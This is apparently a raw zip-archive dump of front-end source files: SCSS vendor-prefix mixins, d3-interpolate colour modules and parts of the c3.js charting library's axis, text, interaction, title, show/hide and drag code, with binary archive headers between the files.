  -webkit-transition-duration: $duration;
  -o-transition-duration: $duration;
  transition-duration: $duration;
}
@mixin transform($arguments...) {
  -webkit-transform: $arguments;
  -moz-transform: $arguments;
  -o-transform: $arguments;
  -ms-transform: $arguments;
  transform: $arguments;
}
@mixin rotation($deg:5deg) {
  @include transform(rotate($deg));
}
@mixin scale($ratio:1.5) {
  @include transform(scale($ratio));
}
@mixin transition($duration:0.2s, $ease:ease-out) {
  -webkit-transition: all $duration $ease;
  -moz-transition: all $duration $ease;
  -o-transition: all $duration $ease;
  transition: all $duration $ease;
}
@mixin inner-shadow($horizontal:0, $vertical:1px, $blur:2px, $alpha: 0.4) {
  -webkit-box-shadow: inset $horizontal $vertical $blur rgba(0, 0, 0, $alpha);
  -moz-box-shadow: inset $horizontal $vertical $blur rgba(0, 0, 0, $alpha);
  box-shadow: inset $horizontal $vertical $blur rgba(0, 0, 0, $alpha);
}
@mixin box-shadow($arguments) {
  -webkit-box-shadow: $arguments;
  -moz-box-shadow: $arguments;
  box-shadow: $arguments;
}
@mixin box-sizing($sizing: border-box) {
  -ms-box-sizing: $sizing;
  -moz-box-sizing: $sizing;
  -webkit-box-sizing: $sizing;
  box-sizing: $sizing;
}
@mixin user-select($argument: none) {
  -webkit-user-select: $argument;
  -moz-user-select: $argument;
  -ms-user-select: $argument;
  user-select: $argument;
}
@mixin columns($colwidth: 250px, $colcount: 0, $colgap: 50px, $columnRuleColor: #EEE, $columnRuleStyle: solid, $columnRuleWidth: 1px) {
  -moz-column-width: $colwidth;
  -moz-column-count: $colcount;
  -moz-column-gap: $colgap;
  -moz-column-rule-color: $columnRuleColor;
  -moz-column-rule-style: $columnRuleStyle;
  -moz-column-rule-width: $columnRuleWidth;
  -webkit-column-width: $colwidth;
  -webkit-column-count: $colcount;
  -webkit-column-gap: $colgap;
  -webkit-column-rule-color: $columnRuleColor;
  -webkit-column-rule-style: $columnRuleStyle;
  -webkit-column-rule-width: $columnRuleWidth;
  column-width: $colwidth;
  column-count: $colcount;
  column-gap: $colgap;
  column-rule-color: $columnRuleColor;
  column-rule-style: $columnRuleStyle;
  column-rule-width: $columnRuleWidth;
}
@mixin translate($x:0, $y:0) {
  @include transform(translate($x, $y));
}
@mixin background-clip($argument: padding-box) {
  -moz-background-clip: $argument;
  -webkit-background-clip: $argument;
  background-clip: $argument;
}
PK,|�\r��^^	define.jsnu�[���export default function(constructor, factory, prototype) {
  constructor.prototype = factory.prototype = prototype;
  prototype.constructor = constructor;
}

export function extend(parent, definition) {
  var prototype = Object.create(parent.prototype);
  for (var key in definition) prototype[key] = definition[key];
  return prototype;
}
PK,|�\��b/��color.jsnu�[���import constant from "./constant";

function linear(a, d) {
  return function(t) {
    return a + t * d;
  };
}

function exponential(a, b, y) {
  return a = Math.pow(a, y), b = Math.pow(b, y) - a, y = 1 / y, function(t) {
    return Math.pow(a + t * b, y);
  };
}

export function hue(a, b) {
  var d = b - a;
  return d ? linear(a, d > 180 || d < -180 ? d - 360 * Math.round(d / 360) : d) : constant(isNaN(a) ? b : a);
}

export function gamma(y) {
  return (y = +y) === 1 ? nogamma : function(a, b) {
    return b - a ? exponential(a, b, y) : constant(isNaN(a) ? b : a);
  };
}

export default function nogamma(a, b) {
  var d = b - a;
  return d ? linear(a, d) : constant(isNaN(a) ? b : a);
}
PK,|�\J����lab.jsnu�[���import {lab as colorLab} from "d3-color";
import color from "./color";

export default function lab(start, end) {
  var l = color((start = colorLab(start)).l, (end = colorLab(end)).l),
      a = color(start.a, end.a),
      b = color(start.b, end.b),
      opacity = color(start.opacity, end.opacity);
  return function(t) {
    start.l = l(t);
    start.a = a(t);
    start.b = b(t);
    start.opacity = opacity(t);
    return start + "";
  };
}
PK,|�\�x����math.jsnu�[���export var cos = Math.cos;
export var sin = Math.sin;
export var pi = Math.PI;
export var halfPi = pi / 2;
export var tau = pi * 2;
export var max = Math.max;
PK,|�\�d��cubehelix.jsnu�[���import {cubehelix as colorCubehelix} from "d3-color";
import color, {hue} from "./color";

function cubehelix(hue) {
  return (function cubehelixGamma(y) {
    y = +y;

    function cubehelix(start, end) {
      var h = hue((start = colorCubehelix(start)).h, (end = colorCubehelix(end)).h),
          s = color(start.s, end.s),
          l = color(start.l, end.l),
          opacity = color(start.opacity, end.opacity);
      return function(t) {
        start.h = h(t);
        start.s = s(t);
        start.l = l(Math.pow(t, y));
        start.opacity = opacity(t);
        return start + "";
      };
    }

    cubehelix.gamma = cubehelixGamma;

    return cubehelix;
  })(1);
}

export default cubehelix(hue);
export var cubehelixLong = cubehelix(color);
PKK|�\$y���>�>axis-internal.jsnu�[���function AxisInternal(component, params) {
    var internal = this;
    internal.component = component;
    internal.params = params || {};

    internal.d3 = component.d3;
    internal.scale = internal.d3.scaleLinear();
    internal.range;
    internal.orient = "bottom";
    internal.innerTickSize = 6;
    internal.outerTickSize = this.params.withOuterTick ? 6 : 0;
    internal.tickPadding = 3;
    internal.tickValues = null;
    internal.tickFormat;
    internal.tickArguments;

    internal.tickOffset = 0;
    internal.tickCulling = true;
    internal.tickCentered;
    internal.tickTextCharSize;
    internal.tickTextRotate = internal.params.tickTextRotate;
    internal.tickLength;

    internal.axis = internal.generateAxis();
}

AxisInternal.prototype.axisX = function (selection, x, tickOffset) {
    selection.attr("transform", function (d) {
        return "translate(" + Math.ceil(x(d) + tickOffset) + ", 0)";
    });
};
AxisInternal.prototype.axisY = function (selection, y) {
    selection.attr("transform", function (d) {
        return "translate(0," + Math.ceil(y(d)) + ")";
    });
};
AxisInternal.prototype.scaleExtent = function (domain) {
    var start = domain[0], stop = domain[domain.length - 1];
    return start < stop ? [ start, stop ] : [ stop, start ];
};
AxisInternal.prototype.generateTicks = function (scale) {
    var internal = this;
    var i, domain, ticks = [];
    if (scale.ticks) {
        return scale.ticks.apply(scale, internal.tickArguments);
    }
    domain = scale.domain();
    for (i = Math.ceil(domain[0]); i < domain[1]; i++) {
        ticks.push(i);
    }
    if (ticks.length > 0 && ticks[0] > 0) {
        ticks.unshift(ticks[0] - (ticks[1] - ticks[0]));
    }
    return ticks;
};
AxisInternal.prototype.copyScale = function () {
    var internal = this;
    var newScale = internal.scale.copy(), domain;
    if (internal.params.isCategory) {
        domain = internal.scale.domain();
        newScale.domain([domain[0], domain[1] - 1]);
    }
    return newScale;
};
AxisInternal.prototype.textFormatted = function (v) {
    var internal = this,
        formatted = internal.tickFormat ? internal.tickFormat(v) : v;
    return typeof formatted !== 'undefined' ? formatted : '';
};
AxisInternal.prototype.updateRange = function () {
    var internal = this;
    internal.range = internal.scale.rangeExtent ? internal.scale.rangeExtent() : internal.scaleExtent(internal.scale.range());
    return internal.range;
};
AxisInternal.prototype.updateTickTextCharSize = function (tick) {
    var internal = this;
    if (internal.tickTextCharSize) {
        return internal.tickTextCharSize;
    }
    var size = {
        h: 11.5,
        w: 5.5
    };
    tick.select('text').text(function(d) { return internal.textFormatted(d); }).each(function (d) {
        var box = this.getBoundingClientRect(),
            text = internal.textFormatted(d),
            h = box.height,
            w = text ? (box.width / text.length) : undefined;
        if (h && w) {
            size.h = h;
            size.w = w;
        }
    }).text('');
    internal.tickTextCharSize = size;
    return size;
};
AxisInternal.prototype.isVertical = function () {
    return this.orient === 'left' || this.orient === 'right';
};
AxisInternal.prototype.tspanData = function (d, i, scale) {
    var internal = this;
    var splitted = internal.params.tickMultiline ? internal.splitTickText(d, scale) : [].concat(internal.textFormatted(d));

    if (internal.params.tickMultiline && internal.params.tickMultilineMax > 0) {
        splitted = internal.ellipsify(splitted, internal.params.tickMultilineMax);
    }

    return splitted.map(function (s) {
        return { index: i, splitted: s, length: splitted.length };
    });
};
AxisInternal.prototype.splitTickText = function (d, scale) {
    var internal = this,
        tickText = internal.textFormatted(d),
        maxWidth = internal.params.tickWidth,
        subtext, spaceIndex, textWidth, splitted = [];

    if (Object.prototype.toString.call(tickText) === "[object Array]") {
        return tickText;
    }

    if (!maxWidth || maxWidth <= 0) {
        maxWidth = internal.isVertical() ? 95 : internal.params.isCategory ? (Math.ceil(scale(1) - scale(0)) - 12) : 110;
    }

    function split(splitted, text) {
        spaceIndex = undefined;
        for (var i = 1; i < text.length; i++) {
            if (text.charAt(i) === ' ') {
                spaceIndex = i;
            }
            subtext = text.substr(0, i + 1);
            textWidth = internal.tickTextCharSize.w * subtext.length;
            // if text width gets over tick width, split by space index or crrent index
            if (maxWidth < textWidth) {
                return split(
                    splitted.concat(text.substr(0, spaceIndex ? spaceIndex : i)),
                    text.slice(spaceIndex ? spaceIndex + 1 : i)
                );
            }
        }
        return splitted.concat(text);
    }

    return split(splitted, tickText + "");
};
AxisInternal.prototype.ellipsify = function(splitted, max) {
    if (splitted.length <= max) {
        return splitted;
    }

    var ellipsified = splitted.slice(0, max);
    var remaining = 3;
    for (var i = max-1 ; i >= 0 ; i--) {
        var available = ellipsified[i].length;

        ellipsified[i] = ellipsified[i].substr(0, available-remaining).padEnd(available, '.');

        remaining -= available;

        if (remaining <= 0) {
            break;
        }
    }

    return ellipsified;
};
AxisInternal.prototype.updateTickLength = function () {
    var internal = this;
    internal.tickLength = Math.max(internal.innerTickSize, 0) + internal.tickPadding;
};
AxisInternal.prototype.lineY2 = function (d) {
    var internal = this,
        tickPosition = internal.scale(d) + (internal.tickCentered ? 0 : internal.tickOffset);
    return internal.range[0] < tickPosition && tickPosition < internal.range[1] ? internal.innerTickSize : 0;
};
AxisInternal.prototype.textY = function (){
    var internal = this, rotate = internal.tickTextRotate;
    return rotate ? 11.5 - 2.5 * (rotate / 15) * (rotate > 0 ? 1 : -1) : internal.tickLength;
};
AxisInternal.prototype.textTransform = function () {
    var internal = this, rotate = internal.tickTextRotate;
    return rotate ? "rotate(" + rotate + ")" : "";
};
AxisInternal.prototype.textTextAnchor = function () {
    var internal = this, rotate = internal.tickTextRotate;
    return rotate ? (rotate > 0 ? "start" : "end") : "middle";
};
AxisInternal.prototype.tspanDx = function () {
    var internal = this, rotate = internal.tickTextRotate;
    return rotate ? 8 * Math.sin(Math.PI * (rotate / 180)) : 0;
};
AxisInternal.prototype.tspanDy = function (d, i) {
    var internal = this,
        dy = internal.tickTextCharSize.h;
    if (i === 0) {
        if (internal.isVertical()) {
            dy = -((d.length - 1) * (internal.tickTextCharSize.h / 2) - 3);
        } else {
            dy = ".71em";
        }
    }
    return dy;
};


AxisInternal.prototype.generateAxis = function () {
    var internal = this, d3 = internal.d3, params = internal.params;
    function axis(g, transition) {
        var self;
        g.each(function () {
            var g = axis.g = d3.select(this);

            var scale0 = this.__chart__ || internal.scale,
                scale1 = this.__chart__ = internal.copyScale();

            var ticksValues = internal.tickValues ? internal.tickValues : internal.generateTicks(scale1),
                ticks = g.selectAll(".tick").data(ticksValues, scale1),
                tickEnter = ticks.enter().insert("g", ".domain").attr("class", "tick").style("opacity", 1e-6),
                // MEMO: No exit transition. The reason is this transition affects max tick width calculation because old tick will be included in the ticks.
                tickExit = ticks.exit().remove(),
                tickUpdate = ticks.merge(tickEnter),
                tickTransform, tickX, tickY;

            if (params.isCategory) {
                internal.tickOffset = Math.ceil((scale1(1) - scale1(0)) / 2);
                tickX = internal.tickCentered ? 0 : internal.tickOffset;
                tickY = internal.tickCentered ? internal.tickOffset : 0;
            } else {
                internal.tickOffset = tickX = 0;
            }

            internal.updateRange();
            internal.updateTickLength();
            internal.updateTickTextCharSize(g.select('.tick'));

            var lineUpdate = tickUpdate.select("line").merge(tickEnter.append("line")),
                textUpdate = tickUpdate.select("text").merge(tickEnter.append("text"));

            var tspans = tickUpdate.selectAll('text').selectAll('tspan').data(function (d, i) {
                    return internal.tspanData(d, i, scale1);
                }),
                tspanEnter = tspans.enter().append('tspan'),
                tspanUpdate = tspanEnter.merge(tspans).text(function (d) { return d.splitted; });
            tspans.exit().remove();

            var path = g.selectAll(".domain").data([ 0 ]),
                pathUpdate = path.enter().append("path").merge(path).attr("class", "domain");

            // TODO: each attr should be one function and change its behavior by internal.orient, probably
            switch (internal.orient) {
            case "bottom":
                {
                    tickTransform = internal.axisX;
                    lineUpdate.attr("x1", tickX)
                        .attr("x2", tickX)
                        .attr("y2", function (d, i) { return internal.lineY2(d, i); });
                    textUpdate.attr("x", 0)
                        .attr("y", function (d, i) { return internal.textY(d, i); })
                        .attr("transform", function (d, i) { return internal.textTransform(d, i); })
                        .style("text-anchor", function (d, i) { return internal.textTextAnchor(d, i); });
                    tspanUpdate.attr('x', 0)
                        .attr("dy", function (d, i) { return internal.tspanDy(d, i); })
                        .attr('dx', function (d, i) { return internal.tspanDx(d, i); });
                    pathUpdate.attr("d", "M" + internal.range[0] + "," + internal.outerTickSize + "V0H" + internal.range[1] + "V" + internal.outerTickSize);
                    break;
                }
            case "top":
                {
                    // TODO: rotated tick text
                    tickTransform = internal.axisX;
                    lineUpdate.attr("x1", tickX)
                        .attr("x2", tickX)
                        .attr("y2", function (d, i) { return -1 * internal.lineY2(d, i); });
                    textUpdate.attr("x", 0)
                        .attr("y", function (d, i) { return -1 * internal.textY(d, i) - (params.isCategory ? 2 : (internal.tickLength - 2)); })
                        .attr("transform", function (d, i) { return internal.textTransform(d, i); })
                        .style("text-anchor", function (d, i) { return internal.textTextAnchor(d, i); });
                    tspanUpdate.attr('x', 0)
                        .attr("dy", function (d, i) { return internal.tspanDy(d, i); })
                        .attr('dx', function (d, i) { return internal.tspanDx(d, i); });
                    pathUpdate.attr("d", "M" + internal.range[0] + "," + -internal.outerTickSize + "V0H" + internal.range[1] + "V" + -internal.outerTickSize);
                    break;
                }
            case "left":
                {
                    tickTransform = internal.axisY;
                    lineUpdate.attr("x2", -internal.innerTickSize)
                        .attr("y1", tickY)
                        .attr("y2", tickY);
                    textUpdate.attr("x", -internal.tickLength)
                        .attr("y", internal.tickOffset)
                        .style("text-anchor", "end");
                    tspanUpdate.attr('x', -internal.tickLength)
                        .attr("dy", function (d, i) { return internal.tspanDy(d, i); });
                    pathUpdate.attr("d", "M" + -internal.outerTickSize + "," + internal.range[0] + "H0V" + internal.range[1] + "H" + -internal.outerTickSize);
                    break;
                }
            case "right":
                {
                    tickTransform = internal.axisY;
                    lineUpdate.attr("x2", internal.innerTickSize)
                        .attr("y1", tickY)
                        .attr("y2", tickY);
                    textUpdate.attr("x", internal.tickLength)
                        .attr("y", internal.tickOffset)
                        .style("text-anchor", "start");
                    tspanUpdate.attr('x', internal.tickLength)
                        .attr("dy", function (d, i) { return internal.tspanDy(d, i); });
                    pathUpdate.attr("d", "M" + internal.outerTickSize + "," + internal.range[0] + "H0V" + internal.range[1] + "H" + internal.outerTickSize);
                    break;
                }
            }
            if (scale1.rangeBand) {
                var x = scale1, dx = x.rangeBand() / 2;
                scale0 = scale1 = function (d) {
                    return x(d) + dx;
                };
            } else if (scale0.rangeBand) {
                scale0 = scale1;
            } else {
                tickExit.call(tickTransform, scale1, internal.tickOffset);
            }
            tickEnter.call(tickTransform, scale0, internal.tickOffset);
            self = (transition ? tickUpdate.transition(transition) : tickUpdate)
                .style('opacity', 1)
                .call(tickTransform, scale1, internal.tickOffset);
        });
        return self;
    }
    axis.scale = function (x) {
        if (!arguments.length) { return internal.scale; }
        internal.scale = x;
        return axis;
    };
    axis.orient = function (x) {
        if (!arguments.length) { return internal.orient; }
        internal.orient = x in {top: 1, right: 1, bottom: 1, left: 1} ? x + "" : "bottom";
        return axis;
    };
    axis.tickFormat = function (format) {
        if (!arguments.length) { return internal.tickFormat; }
        internal.tickFormat = format;
        return axis;
    };
    axis.tickCentered = function (isCentered) {
        if (!arguments.length) { return internal.tickCentered; }
        internal.tickCentered = isCentered;
        return axis;
    };
    axis.tickOffset = function () {
        return internal.tickOffset;
    };
    axis.tickInterval = function () {
        var interval, length;
        if (params.isCategory) {
            interval = internal.tickOffset * 2;
        }
        else {
            length = axis.g.select('path.domain').node().getTotalLength() - internal.outerTickSize * 2;
            interval = length / axis.g.selectAll('line').size();
        }
        return interval === Infinity ? 0 : interval;
    };
    axis.ticks = function () {
        if (!arguments.length) { return internal.tickArguments; }
        internal.tickArguments = arguments;
        return axis;
    };
    axis.tickCulling = function (culling) {
        if (!arguments.length) { return internal.tickCulling; }
        internal.tickCulling = culling;
        return axis;
    };
    axis.tickValues = function (x) {
        if (typeof x === 'function') {
            internal.tickValues = function () {
                return x(internal.scale.domain());
            };
        }
        else {
            if (!arguments.length) { return internal.tickValues; }
            internal.tickValues = x;
        }
        return axis;
    };
    return axis;
};

export {AxisInternal};PKK|�\D�A^��text.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';

ChartInternal.prototype.initText = function () {
    var $$ = this;
    $$.main.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.chartTexts);
    $$.mainText = $$.d3.selectAll([]);
};
ChartInternal.prototype.updateTargetsForText = function (targets) {
    var $$ = this,
        classChartText = $$.classChartText.bind($$),
        classTexts = $$.classTexts.bind($$),
        classFocus = $$.classFocus.bind($$);
    var mainText = $$.main.select('.' + CLASS.chartTexts).selectAll('.' + CLASS.chartText)
        .data(targets);
    var mainTextEnter = mainText.enter().append('g')
        .attr('class', classChartText)
        .style('opacity', 0)
        .style("pointer-events", "none");
    mainTextEnter.append('g')
        .attr('class', classTexts);
    mainTextEnter.merge(mainText)
        .attr('class', function (d) { return classChartText(d) + classFocus(d); });
};
ChartInternal.prototype.updateText = function (xForText, yForText, durationForExit) {
    var $$ = this, config = $$.config,
        barOrLineData = $$.barOrLineData.bind($$),
        classText = $$.classText.bind($$);
    var mainText = $$.main.selectAll('.' + CLASS.texts).selectAll('.' + CLASS.text)
        .data(barOrLineData);
    var mainTextEnter = mainText.enter().append('text')
        .attr("class", classText)
        .attr('text-anchor', function (d) { return config.axis_rotated ? (d.value < 0 ? 'end' : 'start') : 'middle'; })
        .style("stroke", 'none')
        .attr('x', xForText)
        .attr('y', yForText)
        .style("fill", function (d) { return $$.color(d); })
        .style("fill-opacity", 0);
    $$.mainText = mainTextEnter.merge(mainText)
        .text(function (d, i, j) { return $$.dataLabelFormat(d.id)(d.value, d.id, i, j); });
    mainText.exit()
        .transition().duration(durationForExit)
        .style('fill-opacity', 0)
        .remove();
};
ChartInternal.prototype.redrawText = function (xForText, yForText, forFlow, withTransition, transition) {
    return [
        (withTransition ? this.mainText.transition(transition) : this.mainText)
            .attr('x', xForText)
            .attr('y', yForText)
            .style("fill", this.color)
            .style("fill-opacity", forFlow ? 0 : this.opacityForText.bind(this))
    ];
};
ChartInternal.prototype.getTextRect = function (text, cls, element) {
    var dummy = this.d3.select('body').append('div').classed('c3', true),
        svg = dummy.append("svg").style('visibility', 'hidden').style('position', 'fixed').style('top', 0).style('left', 0),
        font = this.d3.select(element).style('font'),
        rect;
    svg.selectAll('.dummy')
        .data([text])
      .enter().append('text')
        .classed(cls ? cls : "", true)
        .style('font', font)
        .text(text)
      .each(function () { rect = this.getBoundingClientRect(); });
    dummy.remove();
    return rect;
};
ChartInternal.prototype.generateXYForText = function (areaIndices, barIndices, lineIndices, forX) {
    var $$ = this,
        getAreaPoints = $$.generateGetAreaPoints(areaIndices, false),
        getBarPoints = $$.generateGetBarPoints(barIndices, false),
        getLinePoints = $$.generateGetLinePoints(lineIndices, false),
        getter = forX ? $$.getXForText : $$.getYForText;
    return function (d, i) {
        var getPoints = $$.isAreaType(d) ? getAreaPoints : $$.isBarType(d) ? getBarPoints : getLinePoints;
        return getter.call($$, getPoints(d, i), d, this);
    };
};
ChartInternal.prototype.getXForText = function (points, d, textElement) {
    var $$ = this,
        box = textElement.getBoundingClientRect(), xPos, padding;
    if ($$.config.axis_rotated) {
        padding = $$.isBarType(d) ? 4 : 6;
        xPos = points[2][1] + padding * (d.value < 0 ? -1 : 1);
    } else {
        xPos = $$.hasType('bar') ? (points[2][0] + points[0][0]) / 2 : points[0][0];
    }
    // show labels regardless of the domain if value is null
    if (d.value === null) {
        if (xPos > $$.width) {
            xPos = $$.width - box.width;
        } else if (xPos < 0) {
            xPos = 4;
        }
    }
    return xPos;
};
ChartInternal.prototype.getYForText = function (points, d, textElement) {
    var $$ = this,
        box = textElement.getBoundingClientRect(),
        yPos;
    if ($$.config.axis_rotated) {
        yPos = (points[0][0] + points[2][0] + box.height * 0.6) / 2;
    } else {
        yPos = points[2][1];
        if (d.value < 0  || (d.value === 0 && !$$.hasPositiveValue)) {
            yPos += box.height;
            if ($$.isBarType(d) && $$.isSafari()) {
                yPos -= 3;
            }
            else if (!$$.isBarType(d) && $$.isChrome()) {
                yPos += 3;
            }
        } else {
            yPos += $$.isBarType(d) ? -3 : -6;
        }
    }
    // show labels regardless of the domain if value is null
    if (d.value === null && !$$.config.axis_rotated) {
        if (yPos < box.height) {
            yPos = box.height;
        } else if (yPos > this.height) {
            yPos = this.height - 4;
        }
    }
    return yPos;
};
PKK|�\B��_��interaction.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';

ChartInternal.prototype.initEventRect = function () {
    var $$ = this, config = $$.config;

    $$.main.select('.' + CLASS.chart).append("g")
        .attr("class", CLASS.eventRects)
        .style('fill-opacity', 0);
    $$.eventRect = $$.main.select('.' + CLASS.eventRects).append('rect')
        .attr('class', CLASS.eventRect);

    // event rect handle zoom event as well
    if (config.zoom_enabled && $$.zoom) {
        $$.eventRect.call($$.zoom).on("dblclick.zoom", null);
        if (config.zoom_initialRange) {
            // WORKAROUND: Add transition to apply transform immediately when no subchart
            $$.eventRect.transition().duration(0).call(
                $$.zoom.transform, $$.zoomTransform(config.zoom_initialRange)
            );
        }
    }
};
ChartInternal.prototype.redrawEventRect = function () {
    var $$ = this, d3 = $$.d3, config = $$.config,
        x, y, w, h;

    // TODO: rotated not supported yet
    x = 0;
    y = 0;
    w = $$.width;
    h = $$.height;

    function mouseout() {
        $$.svg.select('.' + CLASS.eventRect).style('cursor', null);
        $$.hideXGridFocus();
        $$.hideTooltip();
        $$.unexpandCircles();
        $$.unexpandBars();
    }

    // rects for mouseover
    $$.main.select('.' + CLASS.eventRects)
        .style('cursor', config.zoom_enabled ? config.axis_rotated ? 'ns-resize' : 'ew-resize' : null);

    $$.eventRect
        .attr('x', x)
        .attr('y', y)
        .attr('width', w)
        .attr('height', h)
        .on('mouseout',  config.interaction_enabled ? function () {
            if (!config) { return; } // chart is destroyed
            if ($$.hasArcType()) { return; }
            mouseout();
        } : null)
        .on('mousemove', config.interaction_enabled ? function () {
            var targetsToShow, mouse, closest, sameXData, selectedData;

            if ($$.dragging) { return; } // do nothing when dragging
            if ($$.hasArcType(targetsToShow)) { return; }

            targetsToShow = $$.filterTargetsToShow($$.data.targets);
            mouse = d3.mouse(this);
            closest = $$.findClosestFromTargets(targetsToShow, mouse);

            if ($$.mouseover && (!closest || closest.id !== $$.mouseover.id)) {
                config.data_onmouseout.call($$.api, $$.mouseover);
                $$.mouseover = undefined;
            }

            if (!closest) {
                mouseout();
                return;
            }

            if ($$.isScatterType(closest) || !config.tooltip_grouped) {
                sameXData = [closest];
            } else {
                sameXData = $$.filterByX(targetsToShow, closest.x);
            }

            // show tooltip when cursor is close to some point
            selectedData = sameXData.map(function (d) {
                return $$.addName(d);
            });
            $$.showTooltip(selectedData, this);

            // expand points
            if (config.point_focus_expand_enabled) {
                $$.unexpandCircles();
                selectedData.forEach(function (d) {
                    $$.expandCircles(d.index, d.id, false);
                });
            }
            $$.expandBars(closest.index, closest.id, true);

            // Show xgrid focus line
            $$.showXGridFocus(selectedData);

            // Show cursor as pointer if point is close to mouse position
            if ($$.isBarType(closest.id) || $$.dist(closest, mouse) < config.point_sensitivity) {
                $$.svg.select('.' + CLASS.eventRect).style('cursor', 'pointer');
                if (!$$.mouseover) {
                    config.data_onmouseover.call($$.api, closest);
                    $$.mouseover = closest;
                }
            }
        } : null)
        .on('click', config.interaction_enabled ? function () {
            var targetsToShow, mouse, closest, sameXData;
            if ($$.hasArcType(targetsToShow)) { return; }

            targetsToShow = $$.filterTargetsToShow($$.data.targets);
            mouse = d3.mouse(this);
            closest = $$.findClosestFromTargets(targetsToShow, mouse);
            if (! closest) { return; }
            // select if selection enabled
            if ($$.isBarType(closest.id) || $$.dist(closest, mouse) < config.point_sensitivity) {
                if ($$.isScatterType(closest) || !config.data_selection_grouped) {
                    sameXData = [closest];
                } else {
                    sameXData = $$.filterByX(targetsToShow, closest.x);
                }
                sameXData.forEach(function (d) {
                    $$.main.selectAll('.' + CLASS.shapes + $$.getTargetSelectorSuffix(d.id)).selectAll('.' + CLASS.shape + '-' + d.index).each(function () {
                        if (config.data_selection_grouped || $$.isWithinShape(this, d)) {
                            $$.toggleShape(this, d, d.index);
                            config.data_onclick.call($$.api, d, this);
                        }
                    });
                });
            }
        } : null)
        .call(
            config.interaction_enabled && config.data_selection_draggable && $$.drag ? (
                d3.drag()
                    .on('drag', function () { $$.drag(d3.mouse(this)); })
                    .on('start', function () { $$.dragstart(d3.mouse(this)); })
                    .on('end', function () { $$.dragend(); })
            ) : function () {}
        );
};
ChartInternal.prototype.getMousePosition = function (data) {
    var $$ = this;
    return [$$.x(data.x), $$.getYScale(data.id)(data.value)];
};
ChartInternal.prototype.dispatchEvent = function (type, mouse) {
    var $$ = this,
        selector = '.' + CLASS.eventRect,
        eventRect = $$.main.select(selector).node(),
        box = eventRect.getBoundingClientRect(),
        x = box.left + (mouse ? mouse[0] : 0),
        y = box.top + (mouse ? mouse[1] : 0),
        event = document.createEvent("MouseEvents");

    event.initMouseEvent(type, true, true, window, 0, x, y, x, y,
                         false, false, false, false, 0, null);
    eventRect.dispatchEvent(event);
};
PKK|�\�HB^^title.jsnu�[���import {
    ChartInternal
} from './core';

ChartInternal.prototype.initTitle = function () {
    var $$ = this;
    $$.title = $$.svg.append("text")
        .text($$.config.title_text)
        .attr("class", $$.CLASS.title);
};
ChartInternal.prototype.redrawTitle = function () {
    var $$ = this;
    $$.title
        .attr("x", $$.xForTitle.bind($$))
        .attr("y", $$.yForTitle.bind($$));
};
ChartInternal.prototype.xForTitle = function () {
    var $$ = this,
        config = $$.config,
        position = config.title_position || 'left',
        x;
    if (position.indexOf('right') >= 0) {
        x = $$.currentWidth - $$.getTextRect($$.title.node().textContent, $$.CLASS.title, $$.title.node()).width - config.title_padding.right;
    } else if (position.indexOf('center') >= 0) {
        x = ($$.currentWidth - $$.getTextRect($$.title.node().textContent, $$.CLASS.title, $$.title.node()).width) / 2;
    } else { // left
        x = config.title_padding.left;
    }
    return x;
};
ChartInternal.prototype.yForTitle = function () {
    var $$ = this;
    return $$.config.title_padding.top + $$.getTextRect($$.title.node().textContent, $$.CLASS.title, $$.title.node()).height;
};
ChartInternal.prototype.getTitlePadding = function () {
    var $$ = this;
    return $$.yForTitle() + $$.config.title_padding.bottom;
};
PKK|�\�@����api.show.jsnu�[���import { Chart } from './core';

Chart.prototype.show = function (targetIds, options) {
    var $$ = this.internal, targets;

    targetIds = $$.mapToTargetIds(targetIds);
    options = options || {};

    $$.removeHiddenTargetIds(targetIds);
    targets = $$.svg.selectAll($$.selectorTargets(targetIds));

    targets.transition()
        .style('display', 'initial', 'important')
        .style('opacity', 1, 'important')
        .call($$.endall, function () {
            targets.style('opacity', null).style('opacity', 1);
        });

    if (options.withLegend) {
        $$.showLegend(targetIds);
    }

    $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true});
};

Chart.prototype.hide = function (targetIds, options) {
    var $$ = this.internal, targets;

    targetIds = $$.mapToTargetIds(targetIds);
    options = options || {};

    $$.addHiddenTargetIds(targetIds);
    targets = $$.svg.selectAll($$.selectorTargets(targetIds));

    targets.transition()
        .style('opacity', 0, 'important')
        .call($$.endall, function () {
            targets.style('opacity', null).style('opacity', 0);
            targets.style('display', 'none');
        });

    if (options.withLegend) {
        $$.hideLegend(targetIds);
    }

    $$.redraw({withUpdateOrgXDomain: true, withUpdateXDomain: true, withLegend: true});
};

Chart.prototype.toggle = function (targetIds, options) {
    var that = this, $$ = this.internal;
    $$.mapToTargetIds(targetIds).forEach(function (targetId) {
        $$.isTargetToShow(targetId) ? that.hide(targetId, options) : that.show(targetId, options);
    });
};
PKK|�\�9vv>
>
drag.jsnu�[���import CLASS from './class';
import { ChartInternal } from './core';
import { getPathBox } from './util';

ChartInternal.prototype.drag = function (mouse) {
    var $$ = this, config = $$.config, main = $$.main, d3 = $$.d3;
    var sx, sy, mx, my, minX, maxX, minY, maxY;

    if ($$.hasArcType()) { return; }
    if (!config.data_selection_enabled) { return; } // do nothing if not selectable
    if (!config.data_selection_multiple) { return; } // skip when single selection because drag is used for multiple selection

    sx = $$.dragStart[0];
    sy = $$.dragStart[1];
    mx = mouse[0];
    my = mouse[1];
    minX = Math.min(sx, mx);
    maxX = Math.max(sx, mx);
    minY = (config.data_selection_grouped) ? $$.margin.top : Math.min(sy, my);
    maxY = (config.data_selection_grouped) ? $$.height : Math.max(sy, my);

    main.select('.' + CLASS.dragarea)
        .attr('x', minX)
        .attr('y', minY)
        .attr('width', maxX - minX)
        .attr('height', maxY - minY);
    // TODO: binary search when multiple xs
    main.selectAll('.' + CLASS.shapes).selectAll('.' + CLASS.shape)
        .filter(function (d) { return config.data_selection_isselectable(d); })
        .each(function (d, i) {
            var shape = d3.select(this),
                isSelected = shape.classed(CLASS.SELECTED),
                isIncluded = shape.classed(CLASS.INCLUDED),
                _x, _y, _w, _h, toggle, isWithin = false, box;
            if (shape.classed(CLASS.circle)) {
                _x = shape.attr("cx") * 1;
                _y = shape.attr("cy") * 1;
                toggle = $$.togglePoint;
                isWithin = minX < _x && _x < maxX && minY < _y && _y < maxY;
            }
            else if (shape.classed(CLASS.bar)) {
                box = getPathBox(this);
                _x = box.x;
                _y = box.y;
                _w = box.width;
                _h = box.height;
                toggle = $$.togglePath;
                isWithin = !(maxX < _x || _x + _w < minX) && !(maxY < _y || _y + _h < minY);
